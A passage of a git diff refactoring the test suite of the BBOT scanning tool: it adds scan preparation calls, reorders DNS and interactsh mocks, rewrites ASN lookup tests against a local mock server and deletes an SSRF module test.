[e async for e in scan.async_start()] urls = [e.data for e in events if e.type == "URL"] @@ -403,6 +630,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): config={"excavate": True}, debug=True, ) + await scan._prep() assert len(scan.target.blacklist) == 2 assert scan.target.blacklist.blacklist_regexes assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == { diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 535b1ba7b4..fbaf6f6f97 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -16,6 +16,7 @@ def server_handler(request): bbot_httpserver.expect_request(uri=re.compile(r"/nope")).respond_with_data("nope", status=500) scan = bbot_scanner() + await scan._prep() # request response = await scan.helpers.request(f"{base_url}1") @@ -109,6 +110,7 @@ def server_handler(request): bbot_httpserver.expect_request(uri=re.compile(r"/test/\d+")).respond_with_handler(server_handler) scan = bbot_scanner() + await scan._prep() urls = [f"{base_url}{i}" for i in range(100)] @@ -135,6 +137,7 @@ def server_handler(request): async def test_web_helpers(bbot_scanner, bbot_httpserver, httpx_mock): # json conversion scan = bbot_scanner("evilcorp.com") + await scan._prep() url = "http://www.evilcorp.com/json_test?a=b" httpx_mock.add_response(url=url, text="hello\nworld") response = await scan.helpers.web.request(url) @@ -155,6 +158,7 @@ async def test_web_helpers(bbot_scanner, bbot_httpserver, httpx_mock): scan2 = bbot_scanner("127.0.0.1") await scan1._prep() + await scan2._prep() module = scan1.modules["ipneighbor"] web_config = CORE.config.get("web", {}) @@ -289,6 +293,7 @@ async def test_web_interactsh(bbot_scanner, bbot_httpserver): async_correct_url = False scan1 = bbot_scanner("8.8.8.8") + await scan1._prep() await scan1._set_status("RUNNING") interactsh_client = scan1.helpers.interactsh(poll_interval=3) @@ -344,6 +349,7 @@ def sync_callback(data): @pytest.mark.asyncio async def test_web_curl(bbot_scanner, bbot_httpserver): scan = bbot_scanner("127.0.0.1") + await scan._prep() helpers = scan.helpers url = bbot_httpserver.url_for("/curl") bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") @@ -379,6 +385,7 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): @pytest.mark.asyncio async def test_web_http_compare(httpx_mock, bbot_scanner): scan = bbot_scanner() + await scan._prep() helpers = scan.helpers httpx_mock.add_response(url=re.compile(r"http://www\.example\.com.*"), text="wat") compare_helper = helpers.http_compare("http://www.example.com") @@ -402,6 +409,7 @@ async def test_http_proxy(bbot_scanner, bbot_httpserver, proxy_server): proxy_address = f"http://127.0.0.1:{proxy_server.server_address[1]}" scan = bbot_scanner("127.0.0.1", config={"web": {"http_proxy": proxy_address}}) + await scan._prep() assert len(proxy_server.RequestHandlerClass.urls) == 0 @@ -426,6 +434,8 @@ async def test_http_ssl(bbot_scanner, bbot_httpserver_ssl): scan1 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": True, "debug": True}}) scan2 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": False, "debug": True}}) + await scan1._prep() + await scan2._prep() r1 = await scan1.helpers.request(url) assert r1 is None, "Request to self-signed SSL server went through even with ssl_verify=True" @@ -445,6 +455,7 @@ async def test_web_cookies(bbot_scanner, httpx_mock): # make sure cookies work when enabled httpx_mock.add_response(url="http://www.evilcorp.com/cookies", headers=[("set-cookie", "wat=asdf; path=/")]) scan = bbot_scanner() + await scan._prep() client = BBOTAsyncClient(persist_cookies=True, _config=scan.config, _target=scan.target) r = await client.get(url="http://www.evilcorp.com/cookies") @@ -461,6 +472,7 @@ async def test_web_cookies(bbot_scanner, httpx_mock): # make sure they don't when they're not httpx_mock.add_response(url="http://www2.evilcorp.com/cookies", headers=[("set-cookie", "wats=fdsa; path=/")]) scan = bbot_scanner() + await scan._prep() client2 = BBOTAsyncClient(persist_cookies=False, _config=scan.config, _target=scan.target) r = await client2.get(url="http://www2.evilcorp.com/cookies") # make sure we can access the cookies @@ -493,6 +505,7 @@ def echo_cookies_handler(request): bbot_httpserver.expect_request(uri=endpoint).respond_with_handler(echo_cookies_handler) scan1 = bbot_scanner("127.0.0.1", config={"web": {"debug": True}}) + await scan1._prep() r1 = await scan1.helpers.request(url, cookies={"foo": "bar"}) assert r1 is not None, "Request to self-signed SSL server went through even with ssl_verify=True" diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index d2ef06f418..48ab7ec497 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -102,12 +102,12 @@ async def module_test( module_test = self.ModuleTest( self, httpx_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys ) - self.log.debug("Mocking DNS") - await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}}) self.log.debug("Executing setup_before_prep()") await self.setup_before_prep(module_test) self.log.debug("Executing scan._prep()") await module_test.scan._prep() + self.log.debug("Mocking DNS") + await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}}) self.log.debug("Executing setup_after_prep()") await self.setup_after_prep(module_test) self.log.debug("Starting scan") diff --git a/bbot/test/test_step_2/module_tests/test_module_affiliates.py b/bbot/test/test_step_2/module_tests/test_module_affiliates.py index 68398ca480..6b497e4adf 100644 --- a/bbot/test/test_step_2/module_tests/test_module_affiliates.py +++ b/bbot/test/test_step_2/module_tests/test_module_affiliates.py @@ -5,7 +5,7 @@ class TestAffiliates(ModuleTestBase): targets = ["8.8.8.8"] config_overrides = {"dns": {"minimal": False}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "8.8.8.8.in-addr.arpa": {"PTR": ["dns.google"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_aggregate.py b/bbot/test/test_step_2/module_tests/test_module_aggregate.py index 583fcaec79..ba1d2edd8a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aggregate.py +++ b/bbot/test/test_step_2/module_tests/test_module_aggregate.py @@ -4,7 +4,7 @@ class TestAggregate(ModuleTestBase): config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 1}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["1.2.3.4"]}}) def check(self, module_test, events): diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index fbd3558a43..fb5d8a9071 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -1,239 +1,75 @@ from .base import ModuleTestBase +import json -class TestASNBGPView(ModuleTestBase): +class TestASNHelper(ModuleTestBase): + """Simple test for ASN module using mocked ASNHelper HTTP endpoint.""" + targets = ["8.8.8.8"] module_name = "asn" + modules_overrides = ["asn"] config_overrides = {"scope": {"report_distance": 2}} - response_get_asn_bgpview = { - "status": "ok", - "status_message": "Query was successful", - "data": { - "ip": "8.8.8.8", - "ptr_record": "dns.google", - "prefixes": [ - { - "prefix": "8.8.8.0/24", - "ip": "8.8.8.0", - "cidr": 24, - "asn": {"asn": 15169, "name": "GOOGLE", "description": "Google LLC", "country_code": "US"}, - "name": "LVLT-GOGL-8-8-8", - "description": "Google LLC", - "country_code": "US", - } - ], - "rir_allocation": { - "rir_name": "ARIN", - "country_code": None, - "ip": "8.0.0.0", - "cidr": 9, - "prefix": "8.0.0.0/9", - "date_allocated": "1992-12-01 00:00:00", - "allocation_status": "allocated", - }, - "iana_assignment": { - "assignment_status": "legacy", - "description": "Administered by ARIN", - "whois_server": "whois.arin.net", - "date_assigned": None, - }, - "maxmind": {"country_code": None, "city": None}, - }, - "@meta": {"time_zone": "UTC", "api_version": 1, "execution_time": "567.18 ms"}, - } - response_get_emails_bgpview = { - "status": "ok", - "status_message": "Query was successful", - "data": { - "asn": 15169, - "name": "GOOGLE", - "description_short": "Google LLC", - "description_full": ["Google LLC"], - "country_code": "US", - "website": "https://about.google/intl/en/", - "email_contacts": ["network-abuse@google.com", "arin-contact@google.com"], - "abuse_contacts": ["network-abuse@google.com"], - "looking_glass": None, - "traffic_estimation": None, - "traffic_ratio": "Mostly Outbound", - "owner_address": ["1600 Amphitheatre Parkway", "Mountain View", "CA", "94043", "US"], - "rir_allocation": { - "rir_name": "ARIN", - "country_code": "US", - "date_allocated": "2000-03-30 00:00:00", - "allocation_status": "assigned", - }, - "iana_assignment": { - "assignment_status": None, - "description": None, - "whois_server": None, - "date_assigned": None, - }, - "date_updated": "2023-02-07 06:39:11", - }, - "@meta": {"time_zone": "UTC", "api_version": 1, "execution_time": "56.55 ms"}, + api_response = { + "asn": 15169, + "prefixes": ["8.8.8.0/24"], + "asn_name": "GOOGLE", + "org": "Google LLC", + "country": "US", } async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="https://api.bgpview.io/ip/8.8.8.8", json=self.response_get_asn_bgpview - ) - module_test.httpx_mock.add_response( - url="https://api.bgpview.io/asn/15169", json=self.response_get_emails_bgpview - ) - module_test.module.sources = ["bgpview"] + # Point ASNHelper to local test harness + from bbot.core.helpers.asn import ASNHelper + + module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") + + expect_args = {"method": "GET", "uri": "/v1/ip/8.8.8.8"} + respond_args = { + "response_data": json.dumps(self.api_response), + "status": 200, + "content_type": "application/json", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "ASN" for e in events) - assert any(e.type == "EMAIL_ADDRESS" for e in events) + # Ensure at least one ASN event is produced + asn_events = [e for e in events if e.type == "ASN"] + assert asn_events, "No ASN event produced" + # Verify ASN number is a valid integer + assert any(isinstance(e.data, int) and e.data > 0 for e in asn_events) -class TestASNRipe(ModuleTestBase): - targets = ["8.8.8.8"] + +class TestASNUnknownHandling(ModuleTestBase): + """Test ASN module behavior when API returns no data, leading to UNKNOWN_ASN usage.""" + + targets = ["8.8.8.8"] # Use known public IP but mock response to test unknown ASN handling module_name = "asn" + modules_overrides = ["asn"] config_overrides = {"scope": {"report_distance": 2}} - response_get_asn_ripe = { - "messages": [], - "see_also": [], - "version": "1.1", - "data_call_name": "network-info", - "data_call_status": "supported", - "cached": False, - "data": {"asns": ["15169"], "prefix": "8.8.8.0/24"}, - "query_id": "20230217212133-f278ff23-d940-4634-8115-a64dee06997b", - "process_time": 5, - "server_id": "app139", - "build_version": "live.2023.2.1.142", - "status": "ok", - "status_code": 200, - "time": "2023-02-17T21:21:33.428469", - } - response_get_asn_metadata_ripe = { - "messages": [], - "see_also": [], - "version": "4.1", - "data_call_name": "whois", - "data_call_status": "supported - connecting to ursa", - "cached": False, - "data": { - "records": [ - [ - {"key": "ASNumber", "value": "15169", "details_link": None}, - {"key": "ASName", "value": "GOOGLE", "details_link": None}, - {"key": "ASHandle", "value": "15169", "details_link": "https://stat.ripe.net/AS15169"}, - {"key": "RegDate", "value": "2000-03-30", "details_link": None}, - { - "key": "Ref", - "value": "https://rdap.arin.net/registry/autnum/15169", - "details_link": "https://rdap.arin.net/registry/autnum/15169", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "OrgAbuseHandle", "value": "ABUSE5250-ARIN", "details_link": None}, - {"key": "OrgAbuseName", "value": "Abuse", "details_link": None}, - {"key": "OrgAbusePhone", "value": "+1-650-253-0000", "details_link": None}, - { - "key": "OrgAbuseEmail", - "value": "network-abuse@google.com", - "details_link": "mailto:network-abuse@google.com", - }, - { - "key": "OrgAbuseRef", - "value": "https://rdap.arin.net/registry/entity/ABUSE5250-ARIN", - "details_link": "https://rdap.arin.net/registry/entity/ABUSE5250-ARIN", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "OrgName", "value": "Google LLC", "details_link": None}, - {"key": "OrgId", "value": "GOGL", "details_link": None}, - {"key": "Address", "value": "1600 Amphitheatre Parkway", "details_link": None}, - {"key": "City", "value": "Mountain View", "details_link": None}, - {"key": "StateProv", "value": "CA", "details_link": None}, - {"key": "PostalCode", "value": "94043", "details_link": None}, - {"key": "Country", "value": "US", "details_link": None}, - {"key": "RegDate", "value": "2000-03-30", "details_link": None}, - { - "key": "Comment", - "value": "Please note that the recommended way to file abuse complaints are located in the following links.", - "details_link": None, - }, - { - "key": "Comment", - "value": "To report abuse and illegal activity: https://www.google.com/contact/", - "details_link": None, - }, - { - "key": "Comment", - "value": "For legal requests: http://support.google.com/legal", - "details_link": None, - }, - {"key": "Comment", "value": "Regards,", "details_link": None}, - {"key": "Comment", "value": "The Google Team", "details_link": None}, - { - "key": "Ref", - "value": "https://rdap.arin.net/registry/entity/GOGL", - "details_link": "https://rdap.arin.net/registry/entity/GOGL", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "OrgTechHandle", "value": "ZG39-ARIN", "details_link": None}, - {"key": "OrgTechName", "value": "Google LLC", "details_link": None}, - {"key": "OrgTechPhone", "value": "+1-650-253-0000", "details_link": None}, - { - "key": "OrgTechEmail", - "value": "arin-contact@google.com", - "details_link": "mailto:arin-contact@google.com", - }, - { - "key": "OrgTechRef", - "value": "https://rdap.arin.net/registry/entity/ZG39-ARIN", - "details_link": "https://rdap.arin.net/registry/entity/ZG39-ARIN", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "RTechHandle", "value": "ZG39-ARIN", "details_link": None}, - {"key": "RTechName", "value": "Google LLC", "details_link": None}, - {"key": "RTechPhone", "value": "+1-650-253-0000", "details_link": None}, - {"key": "RTechEmail", "value": "arin-contact@google.com", "details_link": None}, - { - "key": "RTechRef", - "value": "https://rdap.arin.net/registry/entity/ZG39-ARIN", - "details_link": None, - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - ], - "irr_records": [], - "authorities": ["arin"], - "resource": "15169", - "query_time": "2023-02-17T21:25:00", - }, - "query_id": "20230217212529-75f57efd-59f4-473f-8bdd-803062e94290", - "process_time": 268, - "server_id": "app143", - "build_version": "live.2023.2.1.142", - "status": "ok", - "status_code": 200, - "time": "2023-02-17T21:25:29.417812", - } - async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="https://stat.ripe.net/data/network-info/data.json?resource=8.8.8.8", - json=self.response_get_asn_ripe, - ) - module_test.httpx_mock.add_response( - url="https://stat.ripe.net/data/whois/data.json?resource=15169", - json=self.response_get_asn_metadata_ripe, - ) - module_test.module.sources = ["ripe"] + # Point ASNHelper to local test harness + from bbot.core.helpers.asn import ASNHelper + + module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") + + # Mock API to return 404 (no ASN data found) + expect_args = {"method": "GET", "uri": "/v1/ip/8.8.8.8"} + respond_args = { + "response_data": "Not Found", + "status": 404, + "content_type": "text/plain", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "ASN" for e in events) - assert any(e.type == "EMAIL_ADDRESS" for e in events) + # When API returns 404, ASN helper should return UNKNOWN_ASN with string "0" + # but NO ASN events should be emitted since ASN 0 is reserved + asn_events = [e for e in events if e.type == "ASN"] + + # Should NOT emit any ASN events when ASN data is unknown + assert not asn_events, ( + f"Should not emit any ASN events for unknown ASN data, but found: {[e.data for e in asn_events]}" + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py index 5cb2f36033..39aca71341 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py +++ b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py @@ -9,7 +9,7 @@ class TestAsset_Inventory(ModuleTestBase): masscan_output = """{ "ip": "127.0.0.1", "timestamp": "1680197558", "ports": [ {"port": 9999, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 54} ] }""" - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): async def run_masscan(command, *args, **kwargs): if "masscan" in command[:2]: targets = open(command[11]).read().splitlines() diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py b/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py index 463f79033b..87ea18a440 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_microsoft.py @@ -21,7 +21,7 @@ class TestBucket_Microsoft_NoDup(ModuleTestBase): module_name = "bucket_microsoft" config_overrides = {"cloudcheck": True} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="https://tesla.blob.core.windows.net/tesla?restype=container", text="", @@ -40,7 +40,7 @@ def check(self, module_test, events): assert bucket_event.data["url"] == "https://tesla.blob.core.windows.net/" assert ( bucket_event.discovery_context - == f"bucket_azure tried bucket variations of {event.data} and found {{event.type}} at {url}" + == "bucket_azure tried 3 bucket variations of tesla.com and found STORAGE_BUCKET at https://tesla.blob.core.windows.net/tesla?restype=container" ) @@ -50,6 +50,9 @@ class TestBucket_Microsoft_NoDup(TestBucket_Microsoft_NoDup): """ async def setup_after_prep(self, module_test): + # Call parent setup first + await super().setup_after_prep(module_test) + from bbot.core.event.base import STORAGE_BUCKET module_test.monkeypatch.setattr(STORAGE_BUCKET, "_suppress_chain_dupes", False) diff --git a/bbot/test/test_step_2/module_tests/test_module_c99.py b/bbot/test/test_step_2/module_tests/test_module_c99.py index ce9c7c8878..5721776483 100644 --- a/bbot/test/test_step_2/module_tests/test_module_c99.py +++ b/bbot/test/test_step_2/module_tests/test_module_c99.py @@ -69,8 +69,8 @@ def check(self, module_test, events): class TestC99AbortThreshold2(TestC99AbortThreshold1): targets = ["blacklanternsecurity.com", "evilcorp.com"] - async def setup_before_prep(self, module_test): - await super().setup_before_prep(module_test) + async def setup_after_prep(self, module_test): + await super().setup_after_prep(module_test) await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py index c47891b7ef..02477aadca 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py @@ -6,25 +6,6 @@ class TestCensys_IP(ModuleTestBase): config_overrides = {"modules": {"censys_ip": {"api_key": "api_id:api_secret"}}} async def setup_before_prep(self, module_test): - await module_test.mock_dns( - { - "wildcard.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "certname.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "certsubject.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "reversedns.evilcorp.com": { - "A": ["1.2.3.4"], - }, - "ptr.evilcorp.com": { - "A": ["1.2.3.4"], - }, - } - ) module_test.httpx_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, @@ -135,6 +116,27 @@ async def setup_before_prep(self, module_test): }, ) + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "wildcard.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "certname.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "certsubject.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "reversedns.evilcorp.com": { + "A": ["1.2.3.4"], + }, + "ptr.evilcorp.com": { + "A": ["1.2.3.4"], + }, + } + ) + def check(self, module_test, events): # Check OPEN_UDP_PORT event for DNS assert any(e.type == "OPEN_UDP_PORT" and e.data == "1.2.3.4:53" for e in events), ( @@ -226,7 +228,6 @@ class TestCensys_IP_InScopeOnly(ModuleTestBase): config_overrides = {"modules": {"censys_ip": {"api_key": "api_id:api_secret", "in_scope_only": True}}} async def setup_before_prep(self, module_test): - await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) module_test.httpx_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, @@ -248,6 +249,9 @@ async def setup_before_prep(self, module_test): }, ) + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) + def check(self, module_test, events): # Should NOT have queried the IP since it's out of scope assert not any(e.type == "OPEN_TCP_PORT" and "1.1.1.1" in e.data for e in events), ( @@ -267,7 +271,6 @@ class TestCensys_IP_OutOfScope(ModuleTestBase): } async def setup_before_prep(self, module_test): - await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) module_test.httpx_mock.add_response( url="https://search.censys.io/api/v1/account", match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="}, @@ -289,6 +292,9 @@ async def setup_before_prep(self, module_test): }, ) + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}}) + def check(self, module_test, events): # Should have queried the IP since in_scope_only=False assert any(e.type == "OPEN_TCP_PORT" and e.data == "1.1.1.1:80" for e in events), ( diff --git a/bbot/test/test_step_2/module_tests/test_module_dehashed.py b/bbot/test/test_step_2/module_tests/test_module_dehashed.py index e566753502..4821fc5458 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dehashed.py +++ b/bbot/test/test_step_2/module_tests/test_module_dehashed.py @@ -8,7 +8,7 @@ class TestDehashed(ModuleTestBase): "modules": {"dehashed": {"api_key": "deadbeef"}}, } - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", @@ -119,7 +119,7 @@ def check(self, module_test, events): class TestDehashedHTTPError(TestDehashed): - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index b2f1bf4395..65835e9492 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -46,7 +46,7 @@ class TestDotnetnuke(ModuleTestBase): """ - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): # Simulate DotNetNuke Instance expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": dotnetnuke_http_response} @@ -134,6 +134,9 @@ class TestDotnetnuke_blindssrf(ModuleTestBase): targets = ["http://127.0.0.1:8888"] module_name = "dotnetnuke" modules_overrides = ["httpx", "dotnetnuke"] + config_overrides = { + "interactsh_disable": False, + } def request_handler(self, request): subdomain_tag = None @@ -144,16 +147,22 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("dotnetnuke_blindssrf") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) - async def setup_after_prep(self, module_test): + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + # Simulate DotNetNuke Instance expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": dotnetnuke_http_response} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + async def setup_after_prep(self, module_test): expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py deleted file mode 100644 index c4b5e5f365..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ /dev/null @@ -1,90 +0,0 @@ -import re -import asyncio -from werkzeug.wrappers import Response - -from .base import ModuleTestBase - - -def extract_subdomain_tag(data): - pattern = r"http://([a-z0-9]{4})\.fakedomain\.fakeinteractsh\.com" - match = re.search(pattern, data) - if match: - return match.group(1) - - -class TestGeneric_SSRF(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["httpx", "generic_ssrf"] - - def request_handler(self, request): - subdomain_tag = None - - if request.method == "GET": - subdomain_tag = extract_subdomain_tag(request.full_path) - elif request.method == "POST": - subdomain_tag = extract_subdomain_tag(request.data.decode()) - if subdomain_tag: - asyncio.run( - self.interactsh_mock_instance.mock_interaction( - subdomain_tag, msg=f"{request.method}: {request.data.decode()}" - ) - ) - - return Response("alive", status=200) - - async def setup_before_prep(self, module_test): - self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) - - async def setup_after_prep(self, module_test): - expect_args = re.compile("/") - module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) - - def check(self, module_test, events): - total_vulnerabilities = 0 - total_findings = 0 - - for e in events: - if e.type == "FINDING": - total_vulnerabilities += 1 - elif e.type == "FINDING": - total_findings += 1 - - assert total_vulnerabilities == 60, "Incorrect number of findings detected" - - assert any( - e.type == "FINDING" - and "Out-of-band interaction: [Generic SSRF (GET)]" - and "[Triggering Parameter: Dest]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (GET)" - assert any( - e.type == "FINDING" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (POST)" - - # Check that HTTP interactions have CONFIRMED confidence - http_findings = [e for e in events if e.type == "FINDING" and "[HTTP]" in e.data["description"]] - if http_findings: - assert http_findings[0].data["confidence"] == "CONFIRMED" - assert any( - e.type == "FINDING" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] - for e in events - ), "Failed to detect Generic SSRF (XXE)" - - -class TestGeneric_SSRF_httponly(TestGeneric_SSRF): - config_overrides = {"modules": {"generic_ssrf": {"skip_dns_interaction": True}}} - - def check(self, module_test, events): - total_vulnerabilities = 0 - total_findings = 0 - - for e in events: - if e.type == "FINDING": - total_vulnerabilities += 1 - - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 0, "Incorrect number of findings detected" diff --git a/bbot/test/test_step_2/module_tests/test_module_github_org.py b/bbot/test/test_step_2/module_tests/test_module_github_org.py index d8003fd2a5..96054d863c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_org.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_org.py @@ -5,11 +5,12 @@ class TestGithub_Org(ModuleTestBase): config_overrides = {"modules": {"github_org": {"api_key": "asdf"}}} modules_overrides = ["github_org", "speculate"] - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( {"blacklanternsecurity.com": {"A": ["127.0.0.99"]}, "github.com": {"A": ["127.0.0.99"]}} ) + async def setup_before_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.github.com/zen", match_headers={"Authorization": "token asdf"} ) diff --git a/bbot/test/test_step_2/module_tests/test_module_host_header.py b/bbot/test/test_step_2/module_tests/test_module_host_header.py index a2d69e9b57..8eb137022e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_host_header.py +++ b/bbot/test/test_step_2/module_tests/test_module_host_header.py @@ -35,9 +35,15 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("host_header") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) + + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) async def setup_after_prep(self, module_test): expect_args = re.compile("/") diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 0eebfe5d4f..377adacaf8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1438,9 +1438,14 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) async def setup_after_prep(self, module_test): expect_args = re.compile("/") diff --git a/bbot/test/test_step_2/module_tests/test_module_neo4j.py b/bbot/test/test_step_2/module_tests/test_module_neo4j.py index c5df1e4748..be395206d3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_neo4j.py +++ b/bbot/test/test_step_2/module_tests/test_module_neo4j.py @@ -4,13 +4,14 @@ class TestNeo4j(ModuleTestBase): config_overrides = {"modules": {"neo4j": {"uri": "bolt://127.0.0.1:11111"}}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): # install neo4j deps_pip = module_test.preloaded["neo4j"]["deps"]["pip"] await module_test.scan.helpers.depsinstaller.pip_install(deps_pip) self.neo4j_used = False + async def setup_before_prep(self, module_test): class MockResult: async def data(s): self.neo4j_used = True diff --git 